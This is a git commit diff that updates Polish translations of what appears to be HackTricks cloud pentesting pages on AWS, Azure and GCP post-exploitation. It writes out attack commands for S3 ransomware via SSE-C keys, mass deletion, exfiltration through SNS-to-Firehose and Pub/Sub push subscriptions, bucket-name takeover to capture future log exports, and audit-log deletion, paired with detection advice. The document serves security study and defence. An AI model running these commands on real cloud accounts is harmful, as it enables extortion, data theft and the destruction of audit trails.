Translated ['src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp

This commit is contained in:
Translator
2026-06-25 15:59:44 +00:00
parent b072038717
commit 6ff32e71fd
7 changed files with 340 additions and 143 deletions
@@ -4,7 +4,7 @@
## S3
For more information check:
Po więcej informacji sprawdź:
{{#ref}}
../../aws-services/aws-s3-athena-and-glacier-enum.md
@@ -12,39 +12,39 @@ For more information check:
### Sensitive Information
Czasami będziesz w stanie znaleźć poufne informacje dostępne do odczytu w bucketach. Na przykład sekrety stanu terraform.
Czasami będziesz w stanie znaleźć sensitive information w bucketach, które są readable. Na przykład, terraform state secrets.
### Pivoting
Different platforms could be using S3 to store sensitive assets.\
For example, **airflow** could be storing **DAGs** **code** in there, or **web pages** could be directly served from S3. Attacker with write permissions could **modify the code** from the bucket to **pivot** to other platforms, or **takeover accounts** modifying JS files.
Różne platformy mogą używać S3 do przechowywania sensitive assets.\
Na przykład, **airflow** może tam przechowywać **DAGs** **code**, albo **web pages** mogą być serwowane bezpośrednio z S3. Atakujący z uprawnieniami do zapisu może **modify the code** w bucketcie, aby **pivot** do innych platform, albo **takeover accounts** poprzez modyfikację plików JS.
### S3 Ransomware
W tym scenariuszu **attacker creates a KMS (Key Management Service) key in their own AWS account** lub w innym skompromitowanym koncie. Następnie sprawia, że ten **key accessible to anyone in the world**, pozwalając dowolnemu AWS user, role, or account szyfrować obiekty używając tego key. Jednakże obiekty nie mogą być odszyfrowane.
W tym scenariuszu, **attacker creates a KMS (Key Management Service) key in their own AWS account** lub innym skompromitowanym koncie. Następnie sprawia, że ten **key accessible to anyone in the world**, co pozwala dowolnemu użytkownikowi AWS, role lub kontu szyfrować obiekty przy użyciu tego key. Jednak obiektów nie można odszyfrować.
Attacker identyfikuje docelowy **S3 bucket and gains write-level access** do niego używając różnych metod. Może to być spowodowane złą konfiguracją bucketu, która wystawia go publicznie, lub attacker gaining access to the AWS environment itself. Attacker zazwyczaj targetuje buckety zawierające wrażliwe informacje, takie jak personally identifiable information (PII), protected health information (PHI), logi, backupy i inne.
Atakujący identyfikuje docelowy **S3 bucket and gains write-level access** do niego różnymi metodami. Może to wynikać ze słabej konfiguracji bucketu, która wystawia go publicznie, albo z uzyskania przez atakującego dostępu do samego środowiska AWS. Atakujący zwykle wybiera buckety zawierające sensitive information, takie jak personally identifiable information (PII), protected health information (PHI), logi, backupy i inne.
Aby określić czy bucket może być celem ransomware, attacker sprawdza jego konfigurację. Obejmuje to weryfikację czy **S3 Object Versioning** jest włączony oraz czy **multi-factor authentication delete (MFA delete)** jest włączone. Jeśli Object Versioning nie jest włączone, attacker może kontynuować. Jeśli Object Versioning jest włączone, ale MFA delete jest wyłączone, attacker może **disable Object Versioning**. Jeśli zarówno Object Versioning jak i MFA delete są włączone, staje się trudniej przeprowadzić ransomware na danym bucketcie.
Aby ustalić, czy bucket może zostać zaatakowany ransomware, atakujący sprawdza jego konfigurację. Obejmuje to weryfikację, czy **S3 Object Versioning** jest włączone oraz czy **multi-factor authentication delete (MFA delete) is enabled**. Jeśli Object Versioning nie jest włączone, atakujący może kontynuować. Jeśli Object Versioning jest włączone, ale MFA delete jest wyłączone, atakujący może **disable Object Versioning**. Jeśli zarówno Object Versioning, jak i MFA delete są włączone, ransomware tego konkretnego bucketa staje się dla atakującego trudniejsze.
Używając **AWS API**, attacker **replaces each object in the bucket with an encrypted copy using their KMS key**. To skutecznie szyfruje dane w bucketcie, czyniąc je niedostępnymi bez klucza.
Korzystając z AWS API, atakujący **replaces each object in the bucket with an encrypted copy using their KMS key**. To skutecznie szyfruje dane w bucketcie, czyniąc je niedostępnymi bez key.
Aby dodatkowo wywrzeć presję, attacker planuje usunięcie KMS key użytego w ataku. Daje to targetowi 7-dniowe okno na odzyskanie danych zanim key zostanie usunięty i dane staną się trwale utracone.
Aby wywrzeć większą presję, atakujący planuje usunięcie KMS key użytego w ataku. Daje to celowi 7-dniowe okno na odzyskanie danych, zanim key zostanie usunięty, a dane staną się trwale utracone.
Na koniec attacker może wgrać finalny plik, zwykle nazwany "ransom-note.txt", który zawiera instrukcje dla targetu jak odzyskać pliki. Ten plik jest wgrany bez szyfrowania, prawdopodobnie aby zwrócić uwagę targetu i uświadomić mu atak ransomware.
Na końcu atakujący może wgrać finalny plik, zwykle o nazwie "ransom-note.txt," który zawiera instrukcje dla celu, jak odzyskać pliki. Ten plik jest wgrywany bez szyfrowania, prawdopodobnie po to, aby przyciągnąć uwagę celu i uświadomić mu atak ransomware.
#### SSE-C (Customer-Provided Key) Ransomware (Codefinger-like)
Inna odmiana polega na nadużyciu **SSE-C** (S3 server-side encryption with **customer-provided keys**). Przy SSE-C, **client provides the encryption key on every request** i **AWS does not store the key**. Oznacza to, że jeśli attacker przepisze obiekty używając **their own SSE-C key**, dane ofiary stają się nieczytelne chyba że ofiara jest w stanie dostarczyć ten attacker-controlled key.
Innym wariantem jest nadużycie **SSE-C** (S3 server-side encryption with **customer-provided keys**). W SSE-C **client provides the encryption key on every request** i **AWS does not store the key**. Oznacza to, że jeśli atakujący przepisze obiekty, używając **their own SSE-C key**, dane ofiary staną się nieczytelne, chyba że ofiara będzie w stanie podać ten kontrolowany przez atakującego key.
- **Preconditions:** Compromised AWS credentials (or any principal with the right permissions) oraz możliwość **rewrite objects** (np. `s3:PutObject` na target keys/prefixes). Często parowane z możliwością ustawienia destrukcyjnych lifecycle policies (patrz poniżej), np. `s3:PutLifecycleConfiguration`.
- **Preconditions:** Skompromitowane AWS credentials (lub dowolny principal z odpowiednimi uprawnieniami) oraz możliwość **rewrite objects** (np. `s3:PutObject` na docelowych kluczach/prefixes). Często łączy się to z możliwością ustawiania destrukcyjnych lifecycle policies (patrz niżej), np. `s3:PutLifecycleConfiguration`.
- **Attack chain:**
1. Attacker generuje losowy 256-bit key (AES-256) i go zachowuje.
2. Attacker **rewrites** istniejące obiekty (te same object keys) używając nagłówków SSE-C, tak że przechowywany obiekt jest teraz zaszyfrowany attacker key.
3. Victim nie może pobrać/odszyfrować bez dostarczenia SSE-C key (nawet jeśli IAM permissions są poprawne).
4. Attacker może usunąć key (lub po prostu nigdy go nie udostępnić), aby uczynić dane nieodwracalnymi.
1. Atakujący generuje losowy 256-bit key (AES-256) i go zachowuje.
2. Atakujący **rewrites** istniejące obiekty (te same object keys), używając SSE-C headers, więc zapisany obiekt jest teraz zaszyfrowany kluczem atakującego.
3. Ofiara nie może pobrać/odszyfrować danych bez podania SSE-C key (nawet jeśli IAM permissions są poprawne).
4. Atakujący może usunąć key (lub po prostu nigdy go nie udostępnić), aby dane stały się nie do odzyskania.
Przykład (koncepcyjny) użycia CLI:
Przykładowe (konceptualne) użycie CLI:
```bash
# Upload/overwrite an object encrypted with attacker-provided SSE-C key
aws s3 cp ./file s3://<BUCKET>/<KEY> \
@@ -56,25 +56,25 @@ aws s3 cp s3://<BUCKET>/<KEY> ./file \
--sse-c AES256 \
--sse-c-key <BASE64_32_BYTES>
```
##### Adding Pressure: Lifecycle "Timer" Abuse
##### Dodawanie presji: nadużycie lifecycle Timer
Aby usunąć opcje odzyskiwania (np. stare wersje), atakujący mogą połączyć przepisywanie za pomocą SSE-C z **zasadami cyklu życia**, które powodują wygaśnięcie obiektów i/lub usuwanie wersji niebędących aktualnymi po krótkim okresie:
Aby usunąć opcje odzyskiwania (np. stare wersje), atakujący mogą połączyć przepisywania SSE-C z **regułami lifecycle**, które wygasają obiekty i/lub usuwają nieaktualne wersje po krótkim czasie:
- `s3:PutLifecycleConfiguration` na bucket pozwala atakującemu zaplanować usunięcia bez wykonywania jawnych operacji usuwania dla każdego obiektu/wersji.
- Jest to szczególnie dotkliwe, gdy **wersjonowanie jest włączone**, ponieważ może usunąć „poprzednią dobrą wersję”, która w innym przypadku umożliwiłaby odzyskanie.
- `s3:PutLifecycleConfiguration` na bucket pozwala atakującemu zaplanować usunięcia bez wykonywania jawnych operacji delete dla każdego obiektu/wersji.
- Jest to szczególnie istotne, gdy **versioning jest włączony**, ponieważ może usunąć „poprzednią dobrą wersję”, która w przeciwnym razie umożliwiłaby odzyskanie.
##### Wykrywanie i środki zaradcze
##### Detekcja i mitigacje
- Preferuj **SSE-KMS** (lub SSE-S3) zamiast SSE-C, chyba że masz silny powód operacyjny, by zezwolić na SSE-C.
- Monitoruj/wyzwalaj alerty na żądania `PutObject` używające nagłówków SSE-C (CloudTrail data events dla S3).
- Monitoruj/wyzwalaj alerty na nieoczekiwane `PutBucketLifecycleConfiguration` (zmiany zasad cyklu życia).
- Monitoruj/wyzwalaj alerty na nagłe wzrosty aktywności nadpisywania (te same klucze aktualizowane szybko) oraz usuwanie delete-markerów/wersji.
- Ogranicz uprawnienia wysokiego ryzyka: ogranicz `s3:PutObject` do niezbędnych prefiksów; mocno ogranicz `s3:PutLifecycleConfiguration` i `s3:PutBucketVersioning`; rozważ wymóg MFA dla wrażliwych działań administracyjnych (gdzie ma zastosowanie) i używaj oddzielnych ról administracyjnych z zatwierdzeniami.
- Postawa odzyskiwania: korzystaj z **wersjonowania**, **kopii zapasowych** oraz niezmiennych/offline kopii (S3 replication do chronionego konta, backup vaults itp.); chroń wersje niebędące aktualnymi przed agresywnym usuwaniem i zabezpieczaj zmiany lifecycle za pomocą SCPs / guardrails.
- Preferuj **SSE-KMS** (lub SSE-S3) zamiast SSE-C, chyba że masz silny operacyjny powód, aby dopuścić SSE-C.
- Monitoruj/alertuj o żądaniach `PutObject` używających nagłówków SSE-C (CloudTrail data events dla S3).
- Monitoruj/alertuj o nieoczekiwanych `PutBucketLifecycleConfiguration` (zmiany lifecycle).
- Monitoruj/alertuj o nagłych skokach aktywności overwrite (te same klucze aktualizowane szybko) oraz usuwaniu delete-marker/version deletions.
- Ogranicz wysokiego ryzyka uprawnienia: ogranicz `s3:PutObject` do niezbędnych prefixów; mocno ogranicz `s3:PutLifecycleConfiguration` i `s3:PutBucketVersioning`; rozważ wymaganie MFA dla wrażliwych akcji administracyjnych (tam, gdzie ma to zastosowanie) i używaj osobnych ról admin z approvals.
- Postawa odzyskiwania: używaj **versioning**, **backups** oraz niezmiennych/offline kopii (S3 replication do chronionego account, backup vaults itp.); chroń nieaktualne wersje przed agresywnym usuwaniem i zabezpieczaj zmiany lifecycle za pomocą SCPs / guardrails.
### `s3:RestoreObject`
Atakujący posiadający uprawnienie s3:RestoreObject może reaktywować obiekty zarchiwizowane w Glacier lub Deep Archive, czyniąc je tymczasowo dostępnymi. Umożliwia to odzyskanie i exfiltration historycznie zarchiwizowanych danych (backups, snapshots, logs, certifications, old secrets), które normalnie byłyby poza zasięgiem. Jeśli atakujący połączy to uprawnienie z uprawnieniami do odczytu (np. s3:GetObject), może uzyskać pełne kopie wrażliwych danych.
Atakujący z uprawnieniem s3:RestoreObject może reaktywować obiekty zarchiwizowane w Glacier lub Deep Archive, czyniąc je tymczasowo dostępnymi. Umożliwia to odzyskanie i exfiltration historycznie zarchiwizowanych danych (backups, snapshots, logs, certifications, stare secrets), które normalnie byłyby poza zasięgiem. Jeśli atakujący połączy to uprawnienie z uprawnieniami do odczytu (np. s3:GetObject), może uzyskać pełne kopie wrażliwych danych.
```bash
aws s3api restore-object \
--bucket <BUCKET_NAME> \
@@ -86,7 +86,7 @@ aws s3api restore-object \
```
### `s3:Delete*`
Atakujący posiadający uprawnienie s3:Delete* może usuwać obiekty, wersje i całe buckety, zakłócać kopie zapasowe oraz powodować natychmiastową i nieodwracalną utratę danych, zniszczenie dowodów i kompromitację artefaktów kopii zapasowych lub procesów odzyskiwania.
Atakujący z uprawnieniem s3:Delete* może usuwać obiekty, wersje i całe buckety, zakłócać backupy oraz powodować natychmiastową i nieodwracalną utratę danych, zniszczenie dowodów i kompromitację artefaktów backupu lub odzyskiwania.
```bash
# Delete an object from a bucket
aws s3api delete-object \
@@ -103,6 +103,34 @@ aws s3api delete-object \
aws s3api delete-bucket \
--bucket <BUCKET_NAME>
```
**Więcej informacji** [**check the original research**](https://rhinosecuritylabs.com/aws/s3-ransomware-part-1-attack-vector/)**.**
### Global bucket name takeover of autonomous writers - `s3:DeleteBucket`
Nazwy bucketów S3 są globalnie unikalne. Jeśli konto ofiary ma zautomatyzowanych writerów, którzy ciągle dostarczają dane do `arn:aws:s3:::<bucket-name>`, a atakujący może opróżnić/usunąć ten bucket, atakujący może odtworzyć tę samą nazwę bucketu w kontrolowanym przez siebie koncie i otrzymywać przyszłe dostawy bez zmiany konfiguracji usługi upstream.
Dobre cele do sprawdzenia obejmują destynacje replikacji S3, strumienie dostarczania Kinesis Data Firehose, łańcuchy dostarczania CloudWatch Logs/SNS/WAF, które trafiają do S3, oraz własne zadania backup lub export.
```bash
# Review S3 replication destinations on source buckets
aws s3api get-bucket-replication --bucket <SOURCE_BUCKET>
# Review Firehose S3 destinations
aws firehose describe-delivery-stream \
--delivery-stream-name <DELIVERY_STREAM_NAME>
# Empty and delete the target bucket, if permitted
aws s3 rm s3://<BUCKET_NAME> --recursive
aws s3api delete-bucket --bucket <BUCKET_NAME>
# Recreate the same globally-unique name in the attacker account
aws s3 mb s3://<BUCKET_NAME> --region <REGION>
```
Replacement bucket policy must allow upstream writer to put objects. Exact principal depends on the service: for example an IAM replication role, a Firehose delivery role, or a service principal constrained with `aws:SourceArn` / `aws:SourceAccount`.
**Potential Impact:** cicha exfiltracja przyszłych zreplikowanych obiektów, logs, telemetry, backups i pipeline artifacts do konta AWS kontrolowanego przez attacker.
**Detection & Mitigation:** alert on deletion of buckets referenced by replication rules or delivery streams, monitor for `NoSuchBucket` delivery failures followed by bucket recreation, restrict `s3:DeleteBucket` on export destinations, and pin cross-account deliveries with strict bucket policies and ownership expectations.
**For more info** [**check the original research**](https://rhinosecuritylabs.com/aws/s3-ransomware-part-1-attack-vector/)**.**
{{#include ../../../../banners/hacktricks-training.md}}
@@ -1,15 +1,15 @@
# AWS - SNS to Kinesis Firehose Exfiltration (Fanout to S3)
# AWS - SNS do Kinesis Firehose Exfiltration (Fanout to S3)
{{#include ../../../../banners/hacktricks-training.md}}
Wykorzystaj protokół subskrypcji Firehose, aby zarejestrować kontrolowany przez atakującego Kinesis Data Firehose delivery stream na standardowym topicu SNS ofiary. Gdy subskrypcja zostanie utworzona i wymagana rola IAM zaufa `sns.amazonaws.com`, każda przyszła notyfikacja będzie trwale zapisywana w S3 bucket atakującego przy minimalnym hałasie.
Abuse the Firehose subscription protocol to register a Kinesis Data Firehose delivery stream kontrolowany przez atakującego na topic SNS standard victim. Once the subscription is in place and the required IAM role trusts `sns.amazonaws.com`, every future notification is durably written into the attackers S3 bucket with minimal noise.
## Wymagania
- Uprawnienia na koncie atakującego do utworzenia S3 bucket, Firehose delivery stream oraz roli IAM używanej przez Firehose (`firehose:*`, `iam:CreateRole`, `iam:PutRolePolicy`, `s3:PutBucketPolicy`, itd.).
- Możliwość wykonania `sns:Subscribe` do topicu ofiary (i opcjonalnie `sns:SetSubscriptionAttributes`, jeśli ARN roli subskrypcji zostanie podany po utworzeniu).
- Polityka topicu pozwalająca principalowi atakującego na subskrypcję (lub atakujący już działa w tym samym koncie).
- Permissions in the attacker account to create an S3 bucket, Firehose delivery stream, and the IAM role used by Firehose (`firehose:*`, `iam:CreateRole`, `iam:PutRolePolicy`, `s3:PutBucketPolicy`, etc.).
- Ability to `sns:Subscribe` to the victim topic (and optionally `sns:SetSubscriptionAttributes` if the subscription role ARN is provided after creation).
- A topic policy that allows the attacker principal to subscribe (or the attacker already operates inside the same account).
## Kroki ataku (przykład w tym samym koncie)
## Attack Steps (same-account example)
```bash
REGION=us-east-1
ACC_ID=$(aws sts get-caller-identity --query Account --output text)
@@ -67,10 +67,24 @@ aws sns publish --topic-arn "$TOPIC_ARN" --message 'pii:ssn-123-45-6789' --regio
sleep 90
aws s3 ls s3://$ATTACKER_BUCKET/ --recursive
```
## Czyszczenie
- Usuń subskrypcję SNS, Firehose delivery stream, tymczasowe role/polityki IAM oraz S3 bucket atakującego.
## Cleanup
- Usuń SNS subscription, Firehose delivery stream, tymczasowe IAM roles/policies oraz attacker S3 bucket.
## Wpływ
**Potencjalny wpływ**: Ciągła, trwała eksfiltracja każdej wiadomości publikowanej w docelowym temacie SNS do magazynu kontrolowanego przez atakującego przy minimalnym śladzie operacyjnym.
## Impact
**Potential Impact**: Ciągła, trwała exfiltration każdego message publikowanego do docelowego SNS topic do storage kontrolowanego przez attacker, przy minimalnym operational footprint.
## Related Bucket-Name Hijack Variant
Jeśli istniejący łańcuch SNS -> Firehose -> S3 już zapisuje do bucket i attacker może usunąć ten bucket, mogą oni być w stanie odtworzyć tę samą globalnie unique nazwę S3 bucket w koncie kontrolowanym przez attacker. Przyszłe Firehose deliveries mogą wtedy trafić do zastępczego bucket bez zmiany SNS subscription lub Firehose stream configuration.
```bash
# Identify the Firehose S3 destination
aws firehose describe-delivery-stream \
--delivery-stream-name <DELIVERY_STREAM_NAME> \
--query 'DeliveryStreamDescription.Destinations[].S3DestinationDescription'
# After deleting the original bucket, recreate the same name in the attacker account
aws s3 mb s3://<BUCKET_NAME> --region <REGION>
```
Udziel roli dostarczania Firehose dostępu do zastępczego bucket, jeśli rola może zapisywać cross-account. Monitoruj usuwanie bucket w Firehose destinations, błędy dostarczania i nieoczekiwane zmiany własności bucket.
{{#include ../../../../banners/hacktricks-training.md}}
@@ -4,7 +4,7 @@
## Storage Privesc
Aby uzyskać więcej informacji na temat przechowywania, sprawdź:
Więcej informacji o storage sprawdź:
{{#ref}}
../az-services/az-storage.md
@@ -12,7 +12,7 @@ Aby uzyskać więcej informacji na temat przechowywania, sprawdź:
### `Microsoft.Storage/storageAccounts/blobServices/containers/blobs/read`
Podmiot z tym uprawnieniem będzie mógł **wyświetl** bloby (pliki) wewnątrz kontenera i **pobierać** pliki, które mogą zawierać **wrażliwe informacje**.
Principal z tym uprawnieniem będzie mógł **listow** blob-y (pliki) wewnątrz kontenera oraz **pobierać** pliki, które mogą zawierać **wrażliwe informacje**.
```bash
# e.g. Microsoft.Storage/storageAccounts/blobServices/containers/blobs/read
az storage blob list \
@@ -26,7 +26,7 @@ az storage blob download \
```
### `Microsoft.Storage/storageAccounts/blobServices/containers/blobs/write`
Osoba z tym uprawnieniem będzie moa **zapisywać i nadpisywać pliki w kontenerach**, co może pozwolić jej na wyrządzenie szkód lub nawet eskalację uprawnień (np. nadpisanie jakiegoś kodu przechowywanego w blobie):
Principal z tym uprawnieniem będzie mó**zapisywać i nadpisywać pliki w kontenerach**, co może pozwolić mu spowodować pewne szkody, a nawet eskalować uprawnienia (np. nadpisać jakiś kod przechowywany w blob):
```bash
# e.g. Microsoft.Storage/storageAccounts/blobServices/containers/blobs/write
az storage blob upload \
@@ -36,6 +36,35 @@ az storage blob upload \
```
### \*/delete
To pozwoli na usunięcie obiektów w ramach konta magazynu, co może **przerwać niektóre usługi** lub spowodować, że klient **straci cenne informacje**.
To pozwoliłoby usuwać obiekty wewnątrz storage account, co może **przerwać niektóre usługi** albo sprawić, że klient **utraci cenne informacje**.
### Przejęcie nazwy storage account dla eksportów diagnostycznych
Nazwy Azure Storage account są globalnie unikalne. Niektóre autonomiczne eksporty, takie jak Azure Monitor diagnostic settings, nadal zapisują logi lub metryki do skonfigurowanego storage account. Jeśli atakujący może usunąć ten storage account i odtworzyć tę samą nazwę w subskrypcji kontrolowanej przez atakującego w obrębie tego samego tenant, przyszła wyeksportowana telemetry może zostać dostarczona do zastępczego konta bez modyfikowania diagnostic setting.
Jest to szczególnie interesujące, gdy atakujący ma destrukcyjne uprawnienia, takie jak `Microsoft.Storage/storageAccounts/delete`, ale nie może zaktualizować monitorowanego zasobu ani jego diagnostic settings.
Wymaga to, aby nazwa storage account została zwolniona do ponownego użycia. W praktyce mechanizmy soft delete / recovery dla Azure storage account mogą opóźnić lub uniemożliwić natychmiastowe ponowne użycie, szczególnie między tenantami.
```bash
# Find diagnostic settings that write to a storage account
az monitor diagnostic-settings list \
--resource <RESOURCE_ID> \
--query '[].{name:name,storageAccountId:storageAccountId}'
# Delete the storage account, if permitted
az storage account delete \
--name <STORAGE_ACCOUNT_NAME> \
--resource-group <RESOURCE_GROUP>
# Recreate the same globally-unique storage account name
az storage account create \
--name <STORAGE_ACCOUNT_NAME> \
--resource-group <ATTACKER_RESOURCE_GROUP> \
--location <LOCATION> \
--sku Standard_LRS
```
**Potencjalny wpływ:** długoterminowa eksfiltracja przyszłych logów, metryk, danych audytowych i archiwów diagnostycznych do subskrypcji kontrolowanej przez atakującego.
**Wykrywanie i ograniczanie:** alertuj o usuwaniu kont storage, do których odwołują się ustawienia diagnostyczne, inwentaryzuj ustawienia diagnostyczne z `storageAccountId`, monitoruj osierocone cele i ściśle ogranicz destrukcyjne uprawnienia na kontach storage używanych do logowania/archiwizacji.
{{#include ../../../banners/hacktricks-training.md}}
@@ -4,31 +4,31 @@
## Podstawowe informacje
Więcej informacji:
Więcej informacji znajdziesz tutaj:
{{#ref}}
../gcp-services/gcp-logging-enum.md
{{#endref}}
Inne sposoby zakłócania monitoringu:
Inne sposoby zakłócania monitoringu znajdziesz tutaj:
{{#ref}}
gcp-monitoring-post-exploitation.md
{{#endref}}
### Domyślne logowanie
### Domyślny Logging
**Domyślnie nie zostaniesz wykryty tylko za wykonywanie operacji odczytu. Więcej informacji w sekcji Logging Enum.**
**Domyślnie nie zostaniesz wykryty tylko za wykonywanie działań read. Więcej informacji znajdziesz w sekcji Logging Enum.**
### Dodaj Excepted Principal
### Add Excepted Principal
W [https://console.cloud.google.com/iam-admin/audit/allservices](https://console.cloud.google.com/iam-admin/audit/allservices) i [https://console.cloud.google.com/iam-admin/audit](https://console.cloud.google.com/iam-admin/audit) można dodać principali, aby nie generować logów. Atakujący mógłby to wykorzystać, aby uniknąć wykrycia.
W [https://console.cloud.google.com/iam-admin/audit/allservices](https://console.cloud.google.com/iam-admin/audit/allservices) oraz [https://console.cloud.google.com/iam-admin/audit](https://console.cloud.google.com/iam-admin/audit) można dodać principals, aby nie generowały logów. Atakujący mógłby to wykorzystać, aby uniknąć wykrycia.
### Odczyt logów - `logging.logEntries.list`
### Read logs - `logging.logEntries.list`
<details>
<summary>Odczyt wpisów logów</summary>
<summary>Read log entries</summary>
```bash
# Read logs
gcloud logging read "logName=projects/your-project-id/logs/log-id" --limit=10 --format=json
@@ -44,7 +44,7 @@ gcloud logging read "timestamp >= \"2023-01-01T00:00:00Z\"" --limit=10 --format=
<details>
<summary>Usuń wpisy logów</summary>
<summary>Usuń wpisy dziennika</summary>
```bash
# Delete all entries from a log in the _Default log bucket - logging.logs.delete
gcloud logging logs delete <log-name>
@@ -66,7 +66,7 @@ gcloud logging write LOG_NAME "A deceptive log entry" --severity=ERROR
<details>
<summary>Zaktualizuj okres przechowywania wiadra logów</summary>
<summary>Aktualizuj retencję bucketu logów</summary>
```bash
# Set retention period to 1 day (_Required has a fixed one of 400days)
@@ -89,7 +89,7 @@ gcloud logging buckets delete BUCKET_NAME --location=<location>
<details>
<summary>Usuń link do logu</summary>
<summary>Usuń link do logów</summary>
```bash
# Delete link
gcloud logging links delete <link-id> --bucket <bucket> --location <location>
@@ -100,7 +100,7 @@ gcloud logging links delete <link-id> --bucket <bucket> --location <location>
<details>
<summary>Usuń widok logów</summary>
<summary>Usuń logging view</summary>
```bash
# Delete a logging view to remove access to anyone using it
gcloud logging views delete <view-id> --bucket=<bucket> --location=global
@@ -111,7 +111,7 @@ gcloud logging views delete <view-id> --bucket=<bucket> --location=global
<details>
<summary>Zaktualizuj widok logów, aby ukryć dane</summary>
<summary>Zaktualizuj logging view, aby ukryć dane</summary>
```bash
# Update a logging view to hide data
gcloud logging views update <view-id> --log-filter="resource.type=gce_instance" --bucket=<bucket> --location=global --description="New description for the log view"
@@ -133,7 +133,7 @@ gcloud logging metrics update <metric-name> --description="Changed metric descri
<details>
<summary>Usuń metryki oparte na logach</summary>
<summary>Usuwanie metryk opartych na logach</summary>
```bash
# Delete log based metrics - logging.logMetrics.delete
gcloud logging metrics delete <metric-name>
@@ -144,7 +144,7 @@ gcloud logging metrics delete <metric-name>
<details>
<summary>Usuń sink logów</summary>
<summary>Usuń log sink</summary>
```bash
# Delete sink - logging.sinks.delete
gcloud logging sinks delete <sink-name>
@@ -155,7 +155,7 @@ gcloud logging sinks delete <sink-name>
<details>
<summary>Aktualizuj/zakłóć log sink</summary>
<summary>Zaktualizuj/zakłóć log sink</summary>
```bash
# Disable sink - logging.sinks.update
gcloud logging sinks update <sink-name> --disabled
@@ -178,4 +178,32 @@ gcloud logging sinks update SINK_NAME --no-use-partitioned-tables
```
</details>
### Hijack nazwy bucketu Cloud Logging sink - `storage.buckets.delete`
Cloud Logging sinks mogą ciągle eksportować logi do destination Cloud Storage, takiego jak `storage.googleapis.com/<bucket-name>` lub `storage.googleapis.com/<bucket-name>/<prefix>`. Jeśli atakujący może usunąć destination bucket, ale nie może zaktualizować sink, może nadal przekierować przyszłe eksportowane logi, odtwarzając tę samą globalnie unikalną nazwę bucketu w projekcie kontrolowanym przez atakującego.
Jest to przydatne, gdy przejęta principal ma destrukcyjne permissions dla storage, takie jak `storage.buckets.delete`, `storage.objects.delete` i `storage.objects.list`, ale nie ma `logging.sinks.update`.
```bash
# Find sinks that export to Cloud Storage
gcloud logging sinks list --project <PROJECT_ID> \
--format='table(name,destination,disabled,writerIdentity)'
# Empty and delete the destination bucket, if permitted
gcloud storage rm -r gs://<BUCKET_NAME>
# Recreate the same bucket name in the attacker-controlled project
gcloud storage buckets create gs://<BUCKET_NAME> \
--project <ATTACKER_PROJECT_ID> \
--location <LOCATION>
# Allow the sink writer identity to write objects into the replacement bucket
gcloud storage buckets add-iam-policy-binding gs://<BUCKET_NAME> \
--member='serviceAccount:<SINK_WRITER_IDENTITY>' \
--role='roles/storage.objectCreator' \
--project <ATTACKER_PROJECT_ID>
```
**Potential Impact:** cicha, długoterminowa eksfiltracja przyszłych audit logs, application logs, security telemetry i wszelkich innych zdarzeń pasujących do filtra sink.
**Detection & Mitigation:** alertuj o usunięciu bucketów, do których odwołują się aktywne sinks, inwentaryzuj sink destinations pod kątem osieroconych nazw bucketów, ogranicz `storage.buckets.delete` dla logging destinations i, gdzie to możliwe, chroń export buckets za pomocą kontroli retention/hold.
{{#include ../../../banners/hacktricks-training.md}}
@@ -4,7 +4,7 @@
## Pub/Sub
Aby uzyskać więcej informacji o Pub/Sub, zobacz następującą stronę:
Więcej informacji o Pub/Sub znajdziesz na następującej stronie:
{{#ref}}
../gcp-services/gcp-pub-sub.md
@@ -12,11 +12,11 @@ Aby uzyskać więcej informacji o Pub/Sub, zobacz następującą stronę:
### `pubsub.topics.publish`
Opublikowanie wiadomości w topicu, przydatne do **wysyłania nieoczekiwanych danych** oraz wywoływania nieoczekiwanych funkcjonalności lub exploit vulnerabilities:
Opublikuj wiadomość w topic, przydatne do **wysyłania nieoczekiwanych danych** i wyzwalania nieoczekiwanych funkcjonalności lub wykorzystywania vulnerabilities:
<details>
<summary>Opublikuj wiadomość w topicu</summary>
<summary>Publish message to topic</summary>
```bash
# Publish a message in a topic
gcloud pubsub topics publish <topic_name> --message "Hello!"
@@ -25,11 +25,11 @@ gcloud pubsub topics publish <topic_name> --message "Hello!"
### `pubsub.topics.detachSubscription`
Przydatne do uniemożliwienia subskrypcji odbierania wiadomości, np. w celu uniknięcia wykrycia.
Przydatne, aby zapobiec otrzymywaniu wiadomości przez subscription, być może w celu uniknięcia wykrycia.
<details>
<summary>Odłącz subskrypcję od tematu</summary>
<summary>Odłącz subscription od topic</summary>
```bash
gcloud pubsub topics detach-subscription <FULL SUBSCRIPTION NAME>
```
@@ -37,12 +37,12 @@ gcloud pubsub topics detach-subscription <FULL SUBSCRIPTION NAME>
### `pubsub.topics.delete`
Przydatne do uniemożliwienia subskrypcji otrzymywania wiadomości, być może w celu uniknięcia wykrycia.\
Możliwe jest usunięcie topicu nawet wtedy, gdy są do niego przypisane subskrypcje.
Przydatne, aby uniemożliwić subskrypcji odbieranie wiadomości, może po to, by uniknąć wykrycia.\
Można usunąć topic nawet wtedy, gdy są do niego przypięte subscriptions.
<details>
<summary>Usuń topic</summary>
<summary>Delete topic</summary>
```bash
gcloud pubsub topics delete <TOPIC NAME>
```
@@ -50,11 +50,11 @@ gcloud pubsub topics delete <TOPIC NAME>
### `pubsub.topics.update`
Użyj tego uprawnienia, aby zmienić ustawienia topic w celu jego zakłócenia, np. `--clear-schema-settings`, `--message-retention-duration`, `--message-storage-policy-allowed-regions`, `--schema`, `--schema-project`, `--topic-encryption-key`...
Użyj tego uprawnienia, aby zaktualizować jakieś ustawienie topicu i go zakłóc, np. `--clear-schema-settings`, `--message-retention-duration`, `--message-storage-policy-allowed-regions`, `--schema`, `--schema-project`, `--topic-encryption-key`...
### `pubsub.topics.setIamPolicy`
Nadaj sobie uprawnienie do wykonania któregokolwiek z powyższych ataków.
Nadaj sobie uprawnienie do przeprowadzenia dowolnego z poprzednich ataków.
```bash
# Add Binding
gcloud pubsub topics add-iam-policy-binding <TOPIC_NAME> \
@@ -84,22 +84,22 @@ gcloud pubsub topics set-iam-policy <TOPIC_NAME> \
```
### **`pubsub.subscriptions.create,`**`pubsub.topics.attachSubscription` , (`pubsub.subscriptions.consume`)
Pobierz wszystkie wiadomości na serwer WWW:
Uzyskaj wszystkie wiadomości w web server:
<details>
<summary>Utwórz push subscription, aby otrzymywać wiadomości</summary>
<summary>Utwórz push subscription, aby odbierać wiadomości</summary>
```bash
# Crete push subscription and recieve all the messages instantly in your web server
gcloud pubsub subscriptions create <subscription name> --topic <topic name> --push-endpoint https://<URL to push to>
```
</details>
Utwórz subskrypcję i użyj jej do **pobierania wiadomości**:
Utwórz subskrypcję i użyj jej do **pull messages**:
<details>
